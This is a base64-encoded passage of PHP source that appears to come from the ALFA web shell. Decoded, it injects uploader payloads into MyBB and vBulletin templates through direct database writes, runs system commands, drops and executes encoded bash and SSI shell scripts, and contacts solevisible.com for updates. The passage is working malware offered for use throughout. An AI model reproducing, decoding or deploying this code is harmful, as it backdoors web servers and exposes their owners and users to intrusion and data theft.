hvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUPg0KIjsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGF0YUJhc2UgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnPT4nZGJfbmFtZScgLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVXNlciBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RidScsICdpZCc9PidkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnPT4nZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCA6ICcsICdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXRWYWx1ZScgPT4gJ215YmJfJywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gJHNlbGVjdG9yOw0KZWNobyAiPHA+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgJz48L3A+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE2J10pKSB7DQokZGJ1ID0gJF9QT1NUWydhbGZhNiddOw0KJGRibiA9ICRfUE9TVFsnYWxmYTcnXTsNCiRkYnAgPSAkX1BPU1RbJ2FsZmE4J107DQokZGJoID0gJF9QT1NUWydhbGZhOSddOw0KJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107DQokbWV0aG9kID0gJF9QT1NUWydhbGZhNCddOw0KJHNoZWxsQ29kZSA9ICJ7XCR7Ii5BTEZBX1VQTE9BREVSLiJ9fSI7DQokbmV3aW5zaGVsbCA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRzaGVsbENvZGUpOw0KaWYgKCFlbXB0eSgkZGJoKSAmJiAhZW1wdHkoJGRidSkgJiYgIWVtcHR5KCRkYm4pICYmICFlbXB0eSgkbmV3aW5zaGVsbCkpew0KJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkZGJoLCRkYnUsJGRicCwkZGJuKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokaW5qZWN0ID0gInNlbGVjdCB0ZW1wbGF0ZSBmcm9tIHskcHJlZml4fXRlbXBsYXRlcyB3aGVyZSAgdGl0bGU9ICdjYWxlbmRhciciOw0KJHJlc3VsdCA9IG15c3FsaV9xdWVyeSgkY29ubiwgJGluamVjdCkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRHZXRUZW1wID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRyZXN1bHQpOw0KJHNhdmVEYXRlID0gJEdldFRlbXBbJ3RlbXBsYXRlJ107DQokcmVwc2F2ZSA9IHN0cl9yZXBsYWNlKCRzaGVsbENvZGUsIiIsJHNhdmVEYXRlKTsNCiRyZXBzYXZlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJHJlcHNhdmUpOw0KJGNyZWF0ZVNoZWxsID0gInVwZGF0ZSB7JHByZWZpeH10ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSAnIi4kbmV3aW5zaGVsbC4kcmVwc2F2ZS4iJyB3aGVyZSB0aXRsZSA9ICdjYWxlbmRhciciOw0KJHJlc3VsdDIgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGNyZWF0ZVNoZWxsKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOw0KJGdldHVybCA9ICJzZWxlY3QgdmFsdWUgZnJvbSB7JHByZWZpeH1zZXR0aW5ncyB3aGVyZSBuYW1lPSAnYmJ1cmwnIjsNCiRmaW5kdXJsID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRnZXR1cmwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokcm93YiA9IG15c3FsaV9mZXRjaF9hc3NvYygkZmluZHVybCk7DQokZnVybCA9ICRyb3diWyd2YWx1ZSddOw0KJHJlYWx1cmwgPSBwYXJzZV91cmwoJGZ1cmwsUEhQX1VSTF9IT1NUKTsNCiRyZWFscGF0aCA9IHBhcnNlX3VybCgkZnVybCxQSFBfVVJMX1BBVEgpOw0KJHJlcyA9IGZhbHNlOw0KJEFsZmFDdXJsID0gbmV3IEFsZmFDVVJMKCk7DQppZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc29ja2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJykgJiYgJG1ldGhvZCA9PSAnYXV0bycgKXsNCmlmICgkZnNvY2sgPSBAZnNvY2tvcGVuKCRyZWFsdXJsLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxMCkpew0KQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGgvY2FsZW5kYXIucGhwIEhUVFAvMS4xXHJcbiIpOw0KQGZwdXRzKCRmc29jaywgIkhPU1Q6ICRyZWFsdXJsXHJcbiIpOw0KQGZwdXRzKCRmc29jaywgIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iKTsNCiRjaGVjayA9IGZnZXRzKCRmc29jayk7DQppZihwcmVnX21hdGNoKCIvMjAwIE9LL2kiLCRjaGVjaykpew0KJHJlcGFpcmRidGVtcCA9ICJ1cGRhdGUgeyRwcmVmaXh9dGVtcGxhdGVzIFNFVCB0ZW1wbGF0ZT0gJyRyZXBzYXZlJyB3aGVyZSB0aXRsZSA9ICdjYWxlbmRhciciOw0KJGNsZWFyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRyZXBhaXJkYnRlbXApIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7JHJlcyA9IHRydWU7fQ0KQGZjbG9zZSgkZnNvY2spO319ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpew0KJEFsZmFDdXJsLT5TZW5kKCRyZWFsdXJsLiRyZWFscGF0aC4iL2NhbGVuZGFyLnBocCIpOw0KJHJlcyA9IHRydWU7DQp9DQppZigkcmVzKXsNCiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9zb2xldmlzaWJsZS5waHAiOw0Kb3V0cHV0KCRmZik7DQp9ZWxzZXsNCiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiOw0KJGZmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9zb2xldmlzaWJsZS5waHAiOw0KZWNobyAiPGJyPjxwcmUgaWQ9J3N0ck91dHB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz0nbWwxJz48YnI+PGNlbnRlcj48Yj48Zm9udCBjb2xvcj0nI0ZGRkZGRic+UGxlYXNlIEdvIFRvIFRhcmdldCA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmYuIicgdGFyZ2V0PSdfYmxhbmsnPiIuJGZmLiI8L2E+PGJyLz48Zm9udCBjb2xvcj0nI0ZGRkZGRic+QW5kIEdvIFRvID0+IDwvZm9udD48YSBocmVmPSciLiRmZmYuIicgdGFyZ2V0PSdfYmxhbmsnPiIuJGZmZi4iPC9hPjwvYj48L2NlbnRlcj48YnI+PGJyPiI7DQp9fX19DQppZihpc3NldCgkX1BPU1RbJ2FsZmEzJ10pICYmICRfUE9TVFsnYWxmYTMnXT09ICd2Yicpew0KQWxmYU51bSgxLDIsNyw5LDEwKTsNCmVjaG8gX19wcmUoKS4nPHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgdmJ1bGxldGluIHw8L2Rpdj48L3A+PHA+Jy5nZXRDb25maWdIdG1sKCd2YicpLic8L3A+PGZvcm0gbmFtZT0iZnJtIiBtZXRob2Q9IlBPU1QiIG9uc3VibWl0PSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsdGhpcy5sby52YWx1ZSxcJ3ZiXCcsdGhpcy51c2VyLnZhbHVlLHRoaXMucGFzcy52YWx1ZSx0aGlzLnRhYi52YWx1ZSx0aGlzLmRiLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnbG8nLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYXRhQmFzZSBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVXNlciBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ3VzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdwYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCA6ICcsICdpbnB1dE5hbWUnID0+ICd0YWInLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpDQopOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICRzZWxlY3RvcjsNCmVjaG8gJzxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiAvPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkmJiFlbXB0eSgkX1BPU1RbJ2FsZmE0J10pKXsNCiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE4J107DQokZmFxX25hbWUgPSAiZmFxIjsNCiRmYXFfZmlsZSA9ICIvZmFxLnBocCI7DQokY29kZSA9ICJ7XCR7Ii5BTEZBX1VQTE9BREVSLiJ9fXtcJHtleGl0KCl9fSYiOw0KJGNvbm49QG15c3FsaV9jb25uZWN0KCRfUE9TVFsnYWxmYTInXSwkX1BPU1RbJ2FsZmE0J10sJF9QT1NUWydhbGZhNSddLCRfUE9TVFsnYWxmYTcnXSkgb3IgZGllKEBteXNxbGlfY29ubmVjdF9lcnJvcigpKTsNCiRyZWMgPSAic2VsZWN0IGB0ZW1wbGF0ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7DQokcmVjaXZlZGF0YSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHJlYyk7DQokZ2V0ZCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlY2l2ZWRhdGEpOw0KJHNhdmV0b2FzcyA9ICRnZXRkWyd0ZW1wbGF0ZSddOw0KaWYoZW1wdHkoJHNhdmV0b2Fzcykpew0KCSRmYXFfbmFtZSA9ICJoZWFkZXIiOw0KCSRmYXFfZmlsZSA9ICIvIjsNCgkkcmVjID0gInNlbGVjdCBgdGVtcGxhdGVgIGZyb20gIi4kX1BPU1RbJ2FsZmE2J10uInRlbXBsYXRlIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOw0KCSRyZWNpdmVkYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwkcmVjKTsNCgkkZ2V0ZCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlY2l2ZWRhdGEpOw0KCSRzYXZldG9hc3MgPSAkZ2V0ZFsndGVtcGxhdGUnXTsNCgkkY29kZSA9IEFMRkFfVVBMT0FERVIuIjsiOw0KfQ0KJGNvZGUgPSBzdHJfcmVwbGFjZSgiJyIsIlwnIiwkY29kZSk7DQokcCA9ICJVUERBVEUgIi4kX1BPU1RbJ2FsZmE2J10uInRlbXBsYXRlIFNFVCBgdGVtcGxhdGVgPSciLiRjb2RlLiInIFdIRVJFIGB0aXRsZWA9JyIuJGZhcV9uYW1lLiInIjsNCiRrYT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcCkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJGdldHVybCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCBgdmFsdWVgIGZyb20gIi4kX1BPU1RbJ2FsZmE2J10uInNldHRpbmcgV0hFUkUgYHZhcm5hbWVgPSdiYnVybCciKTsNCiRnZXR2YWwgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRnZXR1cmwpOw0KJHNhdmV2YWwgPSAkZ2V0dmFsWyd2YWx1ZSddOw0KaWYoJGZhcV9uYW1lID09ICJoZWFkZXIiKXsNCglpZihzdWJzdHIoJHNhdmV2YWwsIC01LCA1KSA9PSAiL2NvcmUiKXsNCgkJJHNhdmV2YWwgPSBzdWJzdHIoJHNhdmV2YWwsIDAsIC01KTsNCgl9DQp9DQokcmVhbHVybCA9IHBhcnNlX3VybCgkc2F2ZXZhbCxQSFBfVVJMX0hPU1QpOw0KJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRzYXZldmFsLFBIUF9VUkxfUEFUSCk7DQokcmVzID0gZmFsc2U7DQokQWxmYUN1cmwgPSBuZXcgQWxmYUNVUkwoKTsNCmlmKGV4dGVuc2lvbl9sb2FkZWQoJ3NvY2tldHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpICYmICRtZXRob2QgPT0gJ2F1dG8nKXsNCmlmKCRmc29jayA9IEBmc29ja29wZW4oJHJlYWx1cmwsIDgwLCAkZXJybm8sICRlcnJzdHIsIDEwKSl7DQpAZnB1dHMoJGZzb2NrLCAiR0VUICRyZWFscGF0aC4kZmFxX2ZpbGUgSFRUUC8xLjFcclxuIik7DQpAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7DQpAZnB1dHMoJGZzb2NrLCAiQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiIpOw0KJGNoZWNrID0gZmdldHMoJGZzb2NrKTsNCmlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7DQokcDEgPSAiVVBEQVRFICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sJHNhdmV0b2FzcykuIicgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7DQoka2ExPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRwMSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHJlcyA9IHRydWU7DQp9DQpAZmNsb3NlKCRmc29jayk7DQp9DQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpew0KJEFsZmFDdXJsLT5TZW5kKCRyZWFsdXJsLiRyZWFscGF0aC4kZmFxX2ZpbGUpOw0KJHAxID0gIlVQREFURSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCRzYXZldG9hc3MpLiInIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOw0KJGthMT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcDEpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRyZXMgPSB0cnVlOw0KfQ0KaWYoJHJlcyl7DQokZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIvc29sZXZpc2libGUucGhwIjsNCm91dHB1dCgkZmYpOw0KfWVsc2V7DQokZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiRmYXFfZmlsZTsNCiRmZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIvc29sZXZpc2libGUucGhwIjsNCmVjaG8gIjxjZW50ZXI+PHA+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+Rmlyc3QgT3BlbiBUaGlzIExpbmsgPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZi4iPC9hPjxici8+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+U2Vjb25kIE9wZW4gVGhpcyBMaW5rID0+IDwvZm9udD48YSBocmVmPSciLiRmZmYuIicgdGFyZ2V0PSdfYmxhbmsnPiIuJGZmZi4iPC9hPjwvY2VudGVyPjwvcD4iO319fQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFjaGVja2ZpbGV0eXBlKCl7DQoJJHBhdGggPSAkX1BPU1RbJ3BhdGgnXTsNCgkkYXJnID0gJF9QT1NUWydhcmcnXTsNCglpZihAaXNfZmlsZSgkcGF0aC4nLycuJGFyZykpew0KCQllY2hvKCJmaWxlIik7DQoJfWVsc2V7DQoJCWVjaG8oImRpciIpOw0KCX0NCn0NCmZ1bmN0aW9uIGFsZmFjaGVja3VwZGF0ZSgpew0KCWlmKCRHTE9CQUxTWyJEQl9OQU1FIl1bImNnaV9hcGkiXSl7DQoJCWlmKCFpc3NldCgkX0NPT0tJRVsidWNlbmNnaWFwaV9tb2RlIl0pJiYhaXNzZXQoJF9DT09LSUVbInVjZW5jZ2lhcGkiXSkpew0KCQkJX2FsZmFfY2dpY21kKCJ3aG9hbWkiLCJwZXJsIix0cnVlKTsNCgkJCWlmKHN0cmxlbihhbGZhRXgoIndob2FtaSIsZmFsc2UsdHJ1ZSkpPjApew0KCQkJCV9fYWxmYV9zZXRfY29va2llKCJhbGZhX2NhbnJ1bmNtZCIsICJ0cnVlIik7DQoJCQl9DQoJCX0NCgl9DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX3ZlcnNpb24iKSl7DQoJCSR1cGRhdGUgPSBuZXcgQWxmYUNVUkwoKTsNCgkJJGpzb24gPSAkdXBkYXRlLT5TZW5kKCJodHRwOi8vc29sZXZpc2libGUuY29tL3VwZGF0ZS5qc29uP3Zlcj0iLl9fQUxGQV9WRVJTSU9OX18pOw0KCQkkanNvbiA9IEBqc29uX2RlY29kZSgkanNvbix0cnVlKTsNCgkJJGRhdGEgPSBhcnJheSgpOw0KCQlpZigkanNvbil7DQoJCQlpZighaXNzZXQoJF9DT09LSUVbJ2FsZmFfY2hlY2t1cGRhdGUnXSkgJiYgIWVtcHR5KCRqc29uWyJ0eXBlIl0pKXsNCgkJCQlpZigkanNvblsidHlwZSJdID09ICJ1cGRhdGUiKXsNCgkJCQkJaWYoX19BTEZBX1ZFUlNJT05fXyAhPSAkanNvblsndmVyc2lvbiddIHx8IF9fQUxGQV9VUERBVEVfXyAhPSAkanNvblsndmVyc2lvbl9udW1iZXInXSl7DQoJCQkJCQlAc2V0Y29va2llKCJhbGZhX2NoZWNrdXBkYXRlIiwgIjEiLCB0aW1lKCkrODY0MDApOw0KCQkJCQkJJGRhdGFbImNvbnRlbnQiXSA9ICc8ZGl2IGNsYXNzPSJ1cGRhdGUtaG9sZGVyIj4nLiRqc29uWyJjb250ZW50Il0uJzwvZGl2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQlpZihpc3NldCgkanNvblsiYWRzIl0pICYmICFlbXB0eSgkanNvblsiYWRzIl0pKXsNCgkJCQkkZGF0YVsiY29udGVudCJdIC49ICRqc29uWyJhZHMiXTsNCgkJCX0NCgkJCWlmKGlzc2V0KCRqc29uWyJjb3B5cmlnaHQiXSkgJiYgIWVtcHR5KCRqc29uWyJjb3B5cmlnaHQiXSkpew0KCQkJCSRkYXRhWyJjb3B5cmlnaHQiXSA9ICRqc29uWyJjb3B5cmlnaHQiXTsNCgkJCX0NCgkJCWlmKGlzc2V0KCRqc29uWyJzb2xldmlzaWJsZSJdKSAmJiAhZW1wdHkoJGpzb25bInNvbGV2aXNpYmxlIl0pKXsNCgkJCQkkZGF0YVsic29sZXZpc2libGUiXSA9ICRqc29uWyJzb2xldmlzaWJsZSJdOw0KCQkJfQ0KCQkJaWYoaXNzZXQoJGpzb25bImNvZGVfbmFtZSJdKSAmJiAhZW1wdHkoJGpzb25bImNvZGVfbmFtZSJdKSl7DQoJCQkJJGRhdGFbImNvZGVfbmFtZSJdID0gJGpzb25bImNvZGVfbmFtZSJdOw0KCQkJCSRkYXRhWyJ2ZXJzaW9uX251bWJlciJdID0gX19BTEZBX1ZFUlNJT05fXzsNCgkJCX0NCgkJCWlmKGlzc2V0KCRqc29uWyJtYXJrZXQiXSkgJiYgIWVtcHR5KCRqc29uWyJtYXJrZXQiXSkpew0KCQkJCSRkYXRhWyJtYXJrZXQiXSA9ICRqc29uWyJtYXJrZXQiXTsNCgkJCX0NCgkJCWVjaG8gQGpzb25fZW5jb2RlKCRkYXRhKTsNCgkJfQ0KCX0NCn0NCmZ1bmN0aW9uIGFsZmFXcml0ZVRvY2dpYXBpKCRuYW1lLCAkc291cmNlKXsNCgkkdGVtcCA9ICIiOw0KCSRub3RfYXBpID0gYXJyYXkoImJhc2VkaXIuYWxmYSIsICJnZXRkaXIuYWxmYSIsICJnZXRoZWFkZXIuYWxmYSIpOw0KCWlmKGluX2FycmF5KCRuYW1lLCAkbm90X2FwaSkpew0KCQkkdGVtcCA9IEFMRkFfVEVNUERJUjsNCgkJaWYoJHRlbXApew0KCQkJQGNoZGlyKCR0ZW1wKTsNCgkJfQ0KCX1lbHNlew0KCQlhbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7DQoJCUBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fVUNFTl9EQVRBX0ZPTERFUl9fKTsNCgl9DQoJQG1rZGlyKCd1Y2VuY2dpYXBpJywwNzU1KTsNCglfX3dyaXRlX2ZpbGUoInVjZW5jZ2lhcGkvIi4kbmFtZSwgX19nZXRfcmVzb3VyY2UoJHNvdXJjZSkpOw0KCUBjaG1vZCgidWNlbmNnaWFwaS8iLiRuYW1lLCAwNzU1KTsNCglyZXR1cm4gJHRlbXA7DQp9DQpmdW5jdGlvbiBhbGZhY2hlY2tjZ2koKXtpZihzdHJsZW4oYWxmYUV4KCJpZCIsZmFsc2UsdHJ1ZSx0cnVlKSk+MCllY2hvKCJvayIpO2Vsc2UgZWNobygibm8iKTt9DQpmdW5jdGlvbiBhbGZhdXBkYXRlaGVhZGVyKCl7DQoJaWYoIWlzc2V0KCRfQ09PS0lFWyJ1cGRhdGVoZWFkZXJfZGF0YSJdKSl7DQoJCSRiYXNoID0gInpaUmRiOW93RklhdnlhODQ5ZElHSkxLMHZWeUZORlRvaEVSQmd0RmRRSVJNNGhBTDQwUjJVa1lwLzMxMmdQQVJxTHFiYVlueUlmczh4Kzg1citVdlYwNHFoVE9oM0pHaE1lZzNud2J0V25ucWVjRFVvejgrelBHTVFCekdFQlBCSUY0bVljUkJwSk1sSkZqQTlJM0dNTm0rTUF2d1BYQ0ZSUjVPQ01pVStwcXFHSTN1cjA2N1cyODBlLzFhZVRFbENRUWs4VUpnUy80YkdPVXpDVjZxMHVzWnRvanRPUlVpRWhXRGVHRUVOZ0ZyaFZKSmdwU2hiOE9SWnhsQkpJQUM1V0N1TnFxSDM5MzFBL2lSQWVwYWhOUUxhMlk1KzRKSkswWnBPSVFyc044QW1ka2dBdGVGbXh2WTVSOGhrNDVRMVZLNXE0WWZjWkt2akVicWRxc2pEKzNGSUQ5YWNCWmhuNGlpbm9OUy82Mm9sT001VVhxUVpaYXpmN0F4dkt1K0ptQjdkL2JkL1czRnlpRHJFSkpFVUg5THlRVHJXRURYS1F6aGVnQXVVdHB1MFJsdUtxSTBQZ05PTmZqakE5Q1A1cGh5cVVFOThkTHEvUnpVMitORzk3bmU2dlJyeUZIN3dubWxJa2t4Y3piQnF0bEVTR1IwNnMvTnh2aXgyM25haHVraS9hOWV4QU5rdk5UYnJYcS9tV2ZBakdKSnBLTm5ldU1NVlZPdldHd29OVTREVUFib2Jwb25LclFSRDVDRWhCdWxiWlQ0T0txMEs5QXM0OFVNckdhbnNZb0Y1UWwwZW1zTFR0RUs3UHFnTFlRU1lmdGxqaHB3WVEwbUMzSHZzUERBWnNlWmp4S2IrLzc5amZROVZjZ3R5UUdPSHJGaWVnVDdhZ3VjMkFOdVJnVFV5QVdSZ2lDOTlYTkR0bTRXeDdkZVhyTG9nTHZRdDRPWXN6MDdkdVA4aXNXVWVkQi83c09uWGJnczlLVDJ3NkN6eFcvMGZYNmJhSDM1Y2VHdTFTbnhCdz09IjsNCgkJJHJlYWxkaXIgPSBhZGRzbGFzaGVzKGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSk7DQoJCSR0bXBfcGF0aCA9IGFsZmFXcml0ZVRvY2dpYXBpKCJnZXRoZWFkZXIuYWxmYSIsJGJhc2gpOw0KCQkkZGF0YSA9IGFsZmFFeCgiY2QgJ3skdG1wX3BhdGh9L3VjZW5jZ2lhcGknO3NoIGdldGhlYWRlci5hbGZhIixmYWxzZSx0cnVlLHRydWUpOw0KCQlpZihAaXNfYXJyYXkoQGpzb25fZGVjb2RlKCRkYXRhLHRydWUpKSl7DQoJCQlfX2FsZmFfc2V0X2Nvb2tpZSgidXBkYXRlaGVhZGVyX2RhdGEiLCBfX1pXNWpiMlJsY2coJGRhdGEpKTsNCgkJCWVjaG8gJGRhdGE7DQoJCX0NCgl9ZWxzZXsNCgkJZWNobyBfX1pHVmpiMlJsY2coJF9DT09LSUVbInVwZGF0ZWhlYWRlcl9kYXRhIl0pOw0KCX0NCn0NCmZ1bmN0aW9uIGFsZmFzc2lTaGVsbCgpew0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7DQpAY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAiLyIgLiBfX1VDRU5fREFUQV9GT0xERVJfXyk7DQpAbWtkaXIoJ2FsZmFfc2h0bWwnLDA3NTUpOw0KQGNoZGlyKCdhbGZhX3NodG1sJyk7DQphbGZhY2dpaHRhY2Nlc3MoJ3NodG1sJyk7DQokY29kZSA9ICdyVmI5YjlzMkVQMVhya3kyMk1oc0tjdTZwdGJIMEErdnpZYkNYZXp0bDZZb1pJbVMyVkNrUUZKT3ZDWC8rNDZTckNoT25LUkJBOE9SeU9QanUzZVBSL3ZQQm9PZFdJcVVaVUNWeW5VV2tFOWpwYVQ2VEFhRDBPOU1hL1l2VFhNVGtQbktVTjNPc2hUb1JhRUMwanNsdSs5bnM0OWYza3dtZng2UFR3a0VjRXBPU1I4dUw4Rk9ub3ovK25zOG5YMzVNSjY5bjd6RitXYzI0TjE0aGpFRTFuaWFHbGhHaUtjWG5PQVRMMmxBdUlZQmo2NkRLTmYwM2hWZEp0ZXJSSUpzOFEyK0MvT1BrK2tXNmt6RUxYVm5PTHpqUTAzc0ZKSFc1OGxEU1hXd05wT0N6YXdXSnVlaHY2QlJFdnFHR1U3RFZ6eU5ZRWFqSEtiVFk1Z3VLT2UrVTAvNU9sYXNNTUFqa1pWU